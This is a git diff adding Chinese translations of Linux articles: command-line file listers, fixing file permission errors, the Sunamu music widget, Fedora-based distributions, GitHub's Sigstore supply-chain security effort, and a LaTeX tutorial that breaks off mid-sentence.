+``` +sudo dnf install lsd +``` + +Arch Linux 用户可以使用以下命令获取它: + +``` +pacman -S lsd +``` + +该应用也可用于其他发行版、macOS、BSD 和 Windows。对于这些说明,你可以 [在此处找到它们][5]。 + +为了获得更好的体验,请将其与 [带有 Oh My Zsh 的 Zsh shell][6] 一起使用。 + +#### exa + +下一个程序是 `exa`,类似于 `lsd` 但具有更多功能。`exa` 命令可以为你的 `ls` 输出着色,检测 Unix 系统中的各种文件类型、标题、树视图等更多功能。 + +`exa` 是一个单一的二进制文件,占用的资源很小。以下是一些示例命令: + +``` +exa -al +``` + +``` +exa -abghHliS +``` + +``` +exa -abghHliS --long --tree +``` + +![Various exa commands][7] + +你可以在 [GitHub][8] 上了解有关 `exa` 参数和选项的更多信息。 + +`exa` 的安装很简单,只需要一个命令。对于 Ubuntu 和相关发行版,你可以使用以下命令安装它: + +``` +sudo apt install exa +``` + +对于 Fedora 和 Arch Linux,分别使用以下命令: + +``` +sudo dnf install exa +``` + +``` +pacman -S exa +``` + +同样,所有其他操作系统的安装说明都可以 [在此处找到][9]。 + +### 从终端复制为 HTML + +一个有趣的技巧是,以上所有彩色列表都可以通过默认的 Ubuntu 终端复制为 HTML。你可以将它用于你的网页或文档。 + +例如,我将上面的示例复制到 LibreOffice Writer 文档中。 + +这是最好的功能之一,尽管它取决于终端程序而不是上面的程序。 + +![Exporting the command output as HTML][10] + +### 总结 + +我解释了两个程序的内部工作 – `lsd` 和 `exa` 以样式列出文件和目录。我希望你能将它们用于不同的需求。 + +如果你喜欢它们,或者如果你知道任何此类程序,请在评论栏中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/list-files-directories-style/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[0]: https://www.debugpoint.com/wp-content/uploads/2022/08/cool-ls.jpg +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/The-default-list-files-and-directories-view-via-ls-command.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/08/lsd-command-showing-list-of-files-2.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/08/lsd-command-showing-a-tree-view.jpg +[4]: https://github.com/Peltoche/lsd +[5]: https://github.com/Peltoche/lsd#installation +[6]: https://www.debugpoint.com/install-use-zsh/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/08/Various-exa-commands.jpg +[8]: https://github.com/ogham/exa#command-line-options +[9]: https://github.com/ogham/exa#installation +[10]: https://www.debugpoint.com/wp-content/uploads/2022/08/Exporting-the-command-output-as-HTML.jpg +[11]: https://github.com/Peltoche/lsd/releases \ No newline at end of file diff --git a/published/202208/20220808 Fix file permission errors on Linux.md b/published/202208/20220808 Fix file permission errors on Linux.md new file mode 100644 index 0000000000..ba3aaa5c52 --- /dev/null +++ b/published/202208/20220808 Fix file permission errors on Linux.md @@ -0,0 +1,73 @@ +[#]: subject: "Fix file permission errors on Linux" +[#]: via: "https://opensource.com/article/22/8/fix-file-permission-errors-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14929-1.html" + +修复 Linux 上的文件权限错误 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/14/170711zy6zskat0kj21y2h.jpg) + +> 不要让文件权限拖你后腿。以下是在 Linux 和 macOS 上管理它们的方法。 + +如果你通过网络或“跑腿网络”(将文件保存到硬盘,以将其复制到一台计算机)在两个用户之间共享文件,那么在尝试读取或写入文件时可能会遇到权限错误。即使你了解它的概念,你也可能不知道该如何诊断或解决问题。我曾经将数据迁移作为一项服务执行,因此我遇到了相当多的权限错误和所有权冲突。这是我快速修复它们的方法。 + +### 1、确定正确的用户 + +在修复权限错误之前,你必须确定需要权限的人是谁。你可能认为你已经知道这一点,但你可能没有意识到*用户名*并不是用户身份的最确定属性。你的计算机不会将你视为一个人,而是将你视为一个数字。要了解你的号码,请查看你的用户 ID: + +``` +$ id --user +1005 +``` + +### 2、获取当前所有者 + +接下来,确定你无法与之交互的文件的所有者。由于发生了文件权限问题,你可能需要使用 `sudo` 命令查看有关文件的信息: + +``` +$ sudo ls --numeric-uid-gid +-rw------- 1 1000 100 23041 Aug 2 05:26 bar +-rw------- 1 1000 100 54281 Aug 2 04:58 baz +-rw------- 1 1000 100 822 Aug 2 08:19 foo +``` + +在此示例中,拥有文件的用户被标识为用户 ID 1000,这就是用户 ID 1005 无法与它们交互的原因。更糟糕的是,这些文件标记为仅由拥有它们的用户可读和可写,因此即使是同一组的成员也不能与这些文件进行交互。 + +### 3、更改权限以匹配 + +你知道需要权限的用户,因此你可以更改当前所有者以匹配你当前的用户: + +``` +$ sudo chown 1005 foo +``` + +你还可以通过更改文件模式授予你的组成员以及系统上可能的其他用户对文件的访问权限。例如,在向组和任何其他用户授予读取权限(4)的同时保持读取和写入权限(7): + +``` +$ sudo chmod 744 foo +``` + +### 了解更多 + +当你对文件权限不熟悉时,它们似乎很棘手。有关文件所有权如何工作的更多信息,请阅读 [chown 简介][2]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/fix-file-permission-errors-linux + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/button_push_open_keyboard_file_organize.png +[2]: https://opensource.com/article/19/8/linux-chown-command \ No newline at end of file diff --git a/published/202208/20220808 Sunamu- Display Lyrics for Currently Playing Music on the Desktop in Linux.md b/published/202208/20220808 Sunamu- Display Lyrics for Currently Playing Music on the Desktop in Linux.md new file mode 100644 index 0000000000..1cc02b0632 --- /dev/null +++ b/published/202208/20220808 Sunamu- Display Lyrics for Currently Playing Music on the Desktop in Linux.md @@ -0,0 +1,141 @@ +[#]: subject: "Sunamu: Display Lyrics for Currently Playing Music on the Desktop in Linux" +[#]: via: "https://itsfoss.com/sunamu-music-widget/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14939-1.html" + +Sunamu:在 Linux 桌面上显示当前播放音乐的歌词 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/17/153701c3blbrgglfx7cfbr.jpg) + +作为一个吸睛的**音乐小部件**(或控制器) —— 这是 Sunamu 唯一专注的事情,它工作得很好。 + +Sunamu 是一个有趣的工具。它不是音乐播放器,但可让你显示正在播放的音乐并对其进行控制。 + +我不喜欢在我的主要工作区使用浮动小部件,但 Sunamu 简约而优雅的方法改变了我的想法! + +因此,我将向你介绍它的功能、安装、配置调整以及我的使用经验。 + +### Sunamu:开源音乐控制器 + +![playing music with sunamu][1] + +正如你在上面的截图中所注意到的,它看起来是一种显示正在播放的音乐的非常好的方式,带有歌词,同时具有基本的控件。 + +你可以播放/暂停、转到下一首/上一首曲目、随机播放和启用循环。 + +Sunamu 支持多种音频平台,包括 Spotify。它还可以检测本地收藏中的音乐,支持一些可用于 Linux 的 [最佳音乐播放器][2]。 + +此外,它还支持 Windows。因此,如果你通过 Windows 上的 Edge 浏览器流式传输某些内容,它应该可以正常工作。 + +你可以查看其 GitHub 页面上的 [兼容性列表][3] 以了解有关支持的播放器和浏览器的更多信息。 + +幸运的是,你不必受限于它默认提供的功能。它提供了一种调整配置文件的简单方法(在其 [GitHub 页面][4] 上可以了解更多信息)。这使得新手可以调整一些设置并获得乐趣。 + +我将在本文的后面部分提到一些关于它的技巧。 + +### Sunamu 的特点 + +![Sunamu on empty workspace][5] + +Sunamu 具有一些不错的特性,其中一些是: + +* 检测并显示当前正在播放的歌曲。 +* 从专辑封面中获取配色方案,并使用相同的调色板以获得更好的视觉效果。 +* 可通过配置文件进行定制。 +* 与 Discord 完美集成。 +* 消耗最少的系统资源。 + +### 在 Linux 上安装 Sunamu + +![Disable lyrics in sunamu][6] + +它提供 AppImage、deb 和 rpm 包,以便在各种 Linux 发行版中轻松安装。我使用 AppImage 进行测试,并且非常好用。 + +如果你是 Linux 新手,你还可以从我们关于 [如何使用 AppImage][7] 或 [安装 deb 包][8]、[rpm 包][9] 的指南中得到帮助。 + +有趣的是,Sunamu 是少数为基于 ARM 的机器提供直接支持的开源音乐工具之一。 + +访问他们的 [GitHub 发布页面][10]下载包或从源代码构建它。 + +**让我通过终端向你展示基于 Debian 的发行版的快速安装方法**。只需按照给定的说明进行操作,你就可以开始使用了: + +首先,让我们使用 `wget` 命令下载 .deb 包,如下所示: + +``` +wget https://github.com/NyaomiDEV/Sunamu/releases/download/v2.0.0/sunamu_2.0.0_amd64.deb +``` + +下载完包后,使用给定的命令进行安装: + +``` +sudo dpkg -i sunamu_2.0.0_amd64.deb +``` + +![install sunamu in ubuntu][11] + +### 技巧:调整配置文件 + +默认情况下,Sunamu 不会从专辑封面中获取颜色,而是显示每首歌曲的歌词。和许多其他人一样,我喜欢不看歌词。 + +Sunamu 的配置文件通常位于 `~/.config/sunamu/config.json5`。 + +要打开 Sunamu 配置文件,请输入给定的命令: + +``` +nano ~/.config/sunamu/config.json5 +``` + +如下所示在 `electron` 部分进行更改(启用颜色并禁用歌词): + +``` +electron: { + type: 'electron', + widgetMode: true, + colors: true, + font: '', + theme: 'default', + showLyrics: false, + } +``` + +这是最终配置文件的样子: + +![modify config file of sunamu][12] + +### 总结 + +除非你是避免使用基于 Electron 应用的人,否则 Sunamu 是一款足以增强你在 Linux 上的音乐体验的应用。继 [Amberol][13] 之后,这是我最近喜欢的第二款音乐相关应用。 + +如果你尝试过,请不要忘记在评论部分分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/sunamu-music-widget/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/08/playing-music-with-sunamu.png +[2]: https://itsfoss.com/best-music-players-linux/ +[3]: https://github.com/NyaomiDEV/Sunamu/blob/master/COMPATIBILITY.md +[4]: https://github.com/NyaomiDEV/Sunamu/blob/master/assets/config.json5 +[5]: https://itsfoss.com/wp-content/uploads/2022/08/song-with-no-lyrics-min.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/playing-music-with-sunamu-inclusing-lyrics-min1.png +[7]: https://itsfoss.com/use-appimage-linux/ +[8]: https://itsfoss.com/install-deb-files-ubuntu/ +[9]: https://itsfoss.com/install-rpm-files-fedora/ +[10]: https://github.com/NyaomiDEV/Sunamu/releases/tag/v2.0.0 +[11]: https://itsfoss.com/wp-content/uploads/2022/08/install-sunamu-in-ubuntu.png +[12]: https://itsfoss.com/wp-content/uploads/2022/08/modified-config-file-of-sunamu.png +[13]: https://itsfoss.com/amberol-music-player/ diff --git a/published/202208/20220809 7 Best Distributions Based on Fedora Linux.md b/published/202208/20220809 7 Best Distributions Based on Fedora Linux.md new file mode 100644 index 0000000000..a22c436496 --- /dev/null +++ b/published/202208/20220809 7 Best Distributions Based on Fedora Linux.md @@ -0,0 +1,150 @@ +[#]: subject: "7 Best Distributions Based on Fedora Linux" +[#]: via: "https://itsfoss.com/best-fedora-linux-distributions/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14951-1.html" + +7 个基于 Fedora Linux 的最佳发行版 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/21/154425baqqjmpftz7t7qt7.jpg) + +有几十个基于 Ubuntu 的发行版可用。从 [面向初学者的发行版][1] 到 [漂亮的发行版][2],Ubuntu 主导着 Linux 桌面空间。 + +如果通用发行版还不够的话,你还会发现一些 [奇怪的基于 Ubuntu 的发行版][3]。 + +我不打算参与 [Ubuntu 与 Fedora][4] 的辩论。我只是说如果你想在 Fedora 领域中尝试一些东西,我可以列出一些选项。 + +请记住,我不会列出面向服务器的 Linux 发行版。此处的列表适用于 **桌面 Linux 用户**。 + +该列表没有特定的排名顺序,并且提到的选项可能并不总是适合新用户。因此,在第一次安装任何基于 Fedora 的发行版之前,请确保你浏览了文档。 + +### 1、Fedora 定制版 + +![screenshot fedora cinnamon][5] + +Fedora 有很多定制版spin,但没有 Ubuntu 那么多。 + +[Fedora 定制版][6] 不是基于 Fedora 的独立发行版,而只是具有 [不同桌面环境][7] 或采用平铺窗口管理器的不同版本的 Fedora。 + +如果你不喜欢默认的 GNOME 桌面环境,你可以下载其中一种。 + +一些可用的选项是: + +* Fedora KDE Plasma +* Fedora i3 平铺窗口管理器 +* Fedora LXQt +* Fedora LXDE +* Fedora MATE-COMPIZ +* Fedora Cinnamon 版 + +### 2、Nobara + +![nobara][8] + +当你在找 [游戏发行版][9] 时,列表将由 Debian 和 Arch 衍生产品占据主导地位。因此,如果你正在寻找基于 Fedora 且具有相同效果的游戏发行版,那么 [Nobara][10] 就是你所需要的。 + +Nobara 是由 Proton GE 的维护者制作的游戏发行版,他也是 Lutris 开发团队的成员,因此你可以期待开箱即用的下一代游戏体验! + +为了带来更好的体验,Nobara 在 Fedora 上预先应用了 30 多个补丁程序,以及一组游戏工具,包括 Lutris、GOverlay、Stream 和 ProtonUp。 + +### 3、Ultramarine + +![ultramarine][11] + +基于 Fedora 的发行版,开箱即用,适用于普通用户,它就是 [Ultramarine][12]! + +Ultramarine 预装了一堆工具,包括 Flathub、RPM fusion 和该发行版自己的专用仓库。 + +你将获得一个预配置的桌面,使其看起来赏心悦目,因此你不再需要花费额外的时间进行调整。 + +此外,对于那些在 Fedora 基础上寻求 Pantheon 和 Budgie 桌面环境的微调体验的人来说,Ultramarine 是完美的选择。 + +### 4、RisiOS + +![risios][13] + +“一个支持 Web 应用的 Fedora。” + +这是一种描述 [RisiOS][14] 的方式,但等等,不止如此。 + +从 Bash 脚本的用户 GUI 到欢迎屏幕,你只需单击几下即可准备好系统,RisiOS 让 Fedora 的使用更加轻松! + +RisiOS 还为你提供与 Linux Mint 相同的 Web 应用管理器,而且非常棒。 + +但是在你跳转到下载页面之前,要记住一件事是 RisiOS 仍处于测试阶段(如网站所说的 Big beta),你可能会遇到一些小问题。 + +### 5、Qubes OS + +![Qubes Os][15] + +[Qubes OS][16] 是一个有趣的 Linux 发行版,它让你可以自由选择要用作基础的操作系统。它也提供了一个 Fedora 模板,并且他们会定期维护它。 + +事实上,Qubes OS 也是一个 [注重隐私的 Linux 发行版][17]。因此,你可以在使用基于 Fedora 的产品时获得最新技术,而且完全自由。 + +值得注意的是,Qubes OS 需要大量系统资源和至少 **8-16 GB** 的内存才能使用,并且具有挑战性的学习曲线。 + +### 6、Berry Linux + +![berry linux][18] + +[Berry Linux][19] 是一个简单的基于 Fedora 的发行版,你可以直接从 CD 或任何其他介质启动。它支持自动硬件检测,并且似乎定期维护。 + +Berry Linux 提供对英语和日语的支持。它预装了一些媒体播放器、照片编辑应用和基本应用。 + +### 7、ClearOS + +![clear os community edition][20] + +它不是 [来自 Intel 的 Clear Linux 项目][21],尽管听起来很相似。 + +[ClearOS][22] 是基于 Fedora 的发行版,专为服务器环境量身定制,或帮助你在 HP 支持的家庭网络上运行 IT 相关任务和流式传输音乐/视频。你必须根据自己的要求同时购买家庭版/企业版。 + +如果你不想购买而想自己管理,还有一个社区版。 + +### 你的看法 + +长期使用 Linux 的用户可能还记得 Korora 和 Chapeau 发行版。它们曾经在 Fedora 用户中很受欢迎,但从那时起这些项目就停止了。 + +虽然 Fedora 本身很棒,但我并不反对衍生发行版。看看 Linux Mint 的成功。它是 Ubuntu 的衍生产品,但已经获得了如此好的用户群。谁知道这些基于 Fedora 的发行版是否会像 Mint 一样流行? + +我缺失了任何基于 Fedora 的活跃发行版吗?你如何看待 Fedora 衍生版及其定制版本? 在下面的评论中告诉我! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-fedora-linux-distributions/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-linux-beginners/ +[2]: https://itsfoss.com/beautiful-linux-distributions/ +[3]: https://itsfoss.com/weird-ubuntu-based-linux-distributions/ +[4]: https://itsfoss.com/ubuntu-vs-fedora/ +[5]: https://itsfoss.com/wp-content/uploads/2021/05/screenshot-fedora-cinnamon.jpg +[6]: https://spins.fedoraproject.org/ +[7]: https://itsfoss.com/best-linux-desktop-environments/ +[8]: https://itsfoss.com/wp-content/uploads/2022/08/nobara.png +[9]: https://itsfoss.com/linux-gaming-distributions/ +[10]: https://nobaraproject.org/ +[11]: https://itsfoss.com/wp-content/uploads/2022/08/ultramarine.png +[12]: https://ultramarine-linux.org/ +[13]: https://itsfoss.com/wp-content/uploads/2022/08/risios.png +[14]: https://risi.io/ +[15]: https://itsfoss.com/wp-content/uploads/2020/03/qubes-os.jpg +[16]: https://www.qubes-os.org/ +[17]: https://itsfoss.com/privacy-focused-linux-distributions/ +[18]: https://itsfoss.com/wp-content/uploads/2021/05/berry-linux.png +[19]: https://berry-lab.net/eberry.html +[20]: https://itsfoss.com/wp-content/uploads/2021/05/clear-os-community-edition.png +[21]: https://itsfoss.com/clear-linux/ +[22]: https://www.clearos.com diff --git a/published/202208/20220809 Github Takes Action To Prevent Supply Chain Attacks On Open Source.md b/published/202208/20220809 Github Takes Action To Prevent Supply Chain Attacks On Open Source.md new file mode 100644 index 0000000000..cfb28091b6 --- /dev/null +++ b/published/202208/20220809 Github Takes Action To Prevent Supply Chain Attacks On Open Source.md @@ -0,0 +1,41 @@ +[#]: subject: "Github Takes Action To Prevent Supply Chain Attacks On Open Source" +[#]: via: "https://www.opensourceforu.com/2022/08/github-takes-action-to-prevent-supply-chain-attacks-on-open-source/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lzx916" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14949-1.html" + +为防止对开源供应链的攻击,GitHub 在行动 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/08/github-cover-1-1068x601.jpg) + +在 2020 年 SolarWinds 网络间谍活动之后,一系列进一步的软件供应链漏洞凸显了确保软件监管链安全的必要性。在这场间谍活动中,俄罗斯黑客渗透到一个广泛使用的 IT 管理平台,并将受污染的升级程序悄悄带入其中。由于开源项目从根本上来说是分散的,而且经常是临时的活动,因此在这种背景下,这个问题尤其紧迫。GitHub 著名的 npm 注册中心广泛使用的 JavaScript 软件包遭到一系列令人不安的黑客攻击后,该公司前不久公布了一项战略,以提供更好的开源安全保护。 + +代码签名平台 Sigstore 将由微软旗下的 GitHub 支持,以用于 npm 软件包。代码签名类似于数字蜡封。为了让开源维护者更加容易地确认他们编写的代码是否与全球范围内人们实际下载的软件包中最终包含的代码相同,跨行业协作促成了该工具的创建。 + +GitHub 并不是开源生态系统的唯一组成部分,但 Sigstore 的联合开发者、Chainguard 的首席执行官 Dan Lorenc 指出,它是社区的一个重要枢纽,因为绝大多数项目都在这里存储和共享源代码。然而,当开发人员真正想下载开源软件或工具时,他们通常会通过软件包管理进行。 + +通过让包管理器可以使用 Sigstore,开发人员可以在 Sigstore 工具的帮助下,在软件通过供应链时处理加密检查和要求。这增加了产品流通过程中每个阶段的透明度。Lorenc 说,许多人在得知这些完整性检查尚未实施时感到震惊,开源生态系统中相当大的一部分长期以来一直依赖于盲目的信心。拜登政府于 2021 年 5 月发布了一项行政命令,主要涉及软件供应链安全问题。 + +Linux 基金会、谷歌、红帽、Purdue Universit 和 Chainguard 都对 Sigstore 的开发做出了贡献。现在有了使用 Sigstore 为 Python 包发行版签名的官方软件,而且开发软件的开源环境 Kubernetes 现在也支持它。 + +Sigstore 依靠免费和简单易用来鼓励采用,就像主要行业推动 HTTPS 网络加密一样,这在很大程度上是由非营利组织互联网安全研究组Internet Security Research Group的 Let's Encrypt 等工具实现的。据 GitHub 称,该项目会首先提出 Sigstore 将如何在 npm 中实现的建议,并在开放评论期征求社区人员对该工具的精确部署策略的意见。然而,最终的目标是让这样的代码签名能够被尽可能多的开源项目使用,从而让对供应链的攻击更加困难。 + +GitHub 的 Hutchings 说:“我们希望看到这样一个世界,最终所有的软件工件都被签名并链接回源代码,这就是为什么构建像 Sigstore 这样的开放技术栈是如此重要,其他打包存储库也可以采用这种技术。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/github-takes-action-to-prevent-supply-chain-attacks-on-open-source/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lzx916](https://github.com/lzx916) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202208/20220810 Create beautiful PDFs in LaTeX.md b/published/202208/20220810 Create beautiful PDFs in LaTeX.md new file mode 100644 index 0000000000..27b69298e8 --- /dev/null +++ b/published/202208/20220810 Create beautiful PDFs in LaTeX.md @@ -0,0 +1,233 @@ +[#]: subject: "Create beautiful PDFs in LaTeX" +[#]: via: "https://opensource.com/article/22/8/pdf-latex" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14957-1.html" + + +使用 LaTeX 创建优美的 PDF 文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/23/120339s9ek65lo8cce5jj4.jpg) + +> 使用 LaTeX 标记语言来撰写文档。 + +LaTeX 文件准备系统有一段有趣的历史。在 1968 年,程序员 Don Knuth 用一种老式印刷排版方式,撰写了他的第一本书《计算机程序设计艺术The Art of Computer Programming》。当他在 1976 年出版第二版时,出版商已经转向现代照相排版技术。 + +Knuth 对新版本的外观不满意。他从程序员的角度解决问题,决定创建他自己的文字处理系统,这样以后他出版的书就可以以相同格式排版,拥有相同的外观。因此,Don Knuth 在 1978 年编写了第一版 TeX 。 + +几年后,Leslie Lamport 创建了一组宏定义,以便作者更容易编写复杂文档。Lamport 的宏定义扩展,即 LaTeX,有效地扩展了 TeX 能够轻松创建各种文档。例如,许多学术组织使用 LaTeX 出版期刊和论文集。 + +### 使用 LaTeX 编写文档 + +通过写一些短文就可以很容易掌握 LaTeX 基础。让我们从 [Opensource.com][4] 介绍页面借用一下内容,创建一个示例: + +``` +$ cat about.tex +\documentclass{article} +\begin{document} + +Opensource.com is a premier, daily publication focused on +open source and Linux tutorials, stories, and resources. + +We're a diverse and inviting group, made up of staff +editors, Correspondents, contributors, and readers. We +value differences in skills, talents, backgrounds, and +experiences. There are a few different ways to get involved +as a reader or a writer. + +\end{document} +``` + +类似其他文档格式程序, LaTeX 会将单词汇集起来,填充成段落 。这意味着你可以在段落中间添加新文本,而不用担心最终文档的段落参差不齐。只要你不在段落中添加空行, LaTeX 就会创建完全对齐的段落。当它找到一个空行时, LaTeX 会开启一个新段落。 + +LaTeX 需要一些定义文档的控制语句。任何 LaTeX 文档应当以“文档类别”声明开始。LaTeX 支持多种文档,包括书信、书籍和文章。例如,我使用 `\documentclass{article}` 设置类别为 “文章” 。 + +使用 `\begin{document}` 和 `\end{document}` 声明来定义文本的开始和结束。如果你在 `\begin{document}` 前添加了文本,那么 LaTeX 会报错。在 `\end{document}` 之后的文本都会被忽略。 + +使用 LaTeX 的 `latex` 命令处理文档: + +``` +$ latex about.tex +This is pdfTeX, Version 3.141592653-2.6-1.40.22 (TeX Live 2021) (preloaded format=latex) + restricted \write18 enabled. +entering extended mode +(./about.tex +LaTeX2e <2020-10-01> patch level 4 +(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls +Document Class: article 2020/04/10 v1.4m Standard LaTeX document class +(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)) +(/usr/share/texlive/texmf-dist/tex/latex/l3backend/l3backend-dvips.def) +No file about.aux. +[1] (./about.aux) ) +Output written on about.dvi (1 page, 736 bytes). +Transcript written on about.log. +``` + +LaTeX 会输出许多文本,这样你就可以知道它在干什么。若你的文档包含错误, LaTeX 会报错并提示它可以做什么。大多数情况下,你可以在提示后输入 `exit` 来强制退出 LaTeX 。 + +如果用 LaTeX 成功生成一个文档,会生成一个带 `.dvi` 后缀的文件。`DVI` 表示 “设备无关Device Independent”,因为你可以使用不同的工具来生成其他格式。例如, `dvipdf` 程序可以将 DVI 文件转换为 PDF 文件。 + +``` +$ dvipdf about.dvi +``` + +![LaTeX output][5] + +### 添加列表 + +LaTeX 支持两种列表:一种以数字开头的 “枚举” 列表,一种 “逐项” 或 “项目符号” 列表。在第二段后添加一个简短的枚举列表,列出人们可以参与 Opensource.com 的方式: + +``` +\begin{enumerate} +\item Be a writer +\item Be a reader +\end{enumerate} +``` + +与在文档定义中添加 `\begin` 和 `\end` 声明类似,你也需要在列表前后添加 `\begin` 和 `\end` 声明。在列表中,每个项目以 `\item` 命令开始。当你用 LaTeX 处理该文档并转换为 PDF 格式后,你会看到该列表为数字列表: + +![LaTeX output][6] + +你也可以在列表中嵌套列表。这是一个优雅的功能,如果你需要在列表中为每个条目添加选项。例如,你可以为想要在 Opensource.com 中成为作者的人们提供一些不同的资源。嵌入列表使用单独的 `\begin` 和 `\end` 声明。为了看起来方便,我在示例中添加了空行,但是 LaTeX 会忽略这些空行: + +``` +\begin{enumerate} +\item Be a writer + +  \begin{itemize} +  \item Resources for writers +  \item Contributor Club +  \item Correspondent Program +  \end{itemize} + +\item Be a reader +\end{enumerate} +``` + +作为嵌套列表,新列表嵌入在编号 1 的项目中,因为你在原先的 `\item` 声明之间添加了列表。你可以通过在 `\end{enumerate}` 语句前添加新列表,作为编号 2 项目的嵌套列表。 + +![LaTeX output][7] + +### 章节和小节 + +你可以将冗长文章分成多个章节,这样更易于阅读。使用 `\section{...}` 语句在大括号内添加章节标题。例如,你可以在文档顶部添加一个标题为 “About Opensource.com” 的新章节: + +``` +$ head about.tex +\documentclass{article} +\begin{document} + +\section{About Opensource.com} + +Opensource.com is a premier, daily publication focused on +open source and Linux tutorials, stories, and resources. + +We're a diverse and inviting group, made up of staff +editors, Correspondents, contributors, and readers. We +``` + +`article` 文档类会在每个主要章节添加编号,并使字体变大来突出显示。 + +![LaTeX output][8] + +你可以使用 `\subsection{...}` 命令来组织文档。就像 `\section{...}` 命令一样,在大括号中输入副标题名称。 + +``` +$ head about.tex +\documentclass{article} +\begin{document} + +\section{About Opensource.com} + +Opensource.com is a premier, daily publication focused on +open source and Linux tutorials, stories, and resources. + +\subsection{Welcome to the Opensource.com community} +``` + +![LaTeX output][9] + +### 标题和作者 + +用于出版的科学类的文章需要标题、作者以及发表日期。LaTeX 提供了通过插入命令的方式来添加这些信息,然后使用单独的 `\maketitle` 命令生成文章的标题。 + +将 “About Us” 作为文章标题,作者为 “Opensource.com Editors”,发表日期为 “July 10, 2022” 。你必须在 `\begin{document}` 之后,文章内容前插入这些内容。 + +``` +\title{About Us} +\author{Opensource.com Editors} +\date{July 10, 2022} +\maketitle +``` + +当你在生成文档时,LaTeX 会将标题、作者和日期添加到文章的顶部: + +![LaTeX output][10] + +### 着重强调 + +科学和其他技术类文章通常会突出术语和短语。 LaTeX 提供了几种可以在技术文档中使用的字体效果,包括强调文本(通常以斜体显示)、粗体文本和小型大写字母small caps。 + +将短语“staff editors, Correspondents, contributors, and readers”放在斜体文本中,并将特定词“reader”和“writer”放在段落后面的强调文本中。你也可以将“skills, talents, backgrounds, and experiences”加粗。虽然这不是正确的样式设置方式,但你可以使用小型大写字母来键入 “Linux” 。 + +``` +$ head -20 about.tex +\documentclass{article} +\begin{document} + +\title{About Us} +\author{Opensource.com Editors} +\date{July 10, 2022} +\maketitle + +\section{About Opensource.com} + +Opensource.com is a premier, daily publication focused on +open source and \textsc{Linux} tutorials, stories, and resources. + +\subsection{Welcome to the Opensource.com community} + +We're a diverse and inviting group, made up of \textit{staff +editors, Correspondents, contributors, and readers}. We +value differences in \textbf{skills, talents, backgrounds, and +experiences}. There are a few different ways to get involved +as a \emph{reader} or a \emph{writer}. +``` + +该示例展示了不同样式的文本的应用方法。当你需要强调时,使用 `\emph{...}` 命令,将强调主题放在大括号内。要以斜体、粗体或小型大写字母显示文本,使用 `\text` 命令的变体:`\textit{...}` 用于斜体,`\textbf{...}` 用于粗体,以及 `\ textsc{...}` 用于小型大写字母。LaTeX 支持许多其他方式来设置文本样式,这些样式有助于你编写科学技术类文章。 + +![LaTeX output][11] + +### 使用 LaTeX + +我只是介绍了使用 LaTeX 撰写科学技术文章的几种方式。你也可以在 LaTeX 中添加脚注,进行数学公式和方程的排版,取决于你的需求。你也可以通过阅读 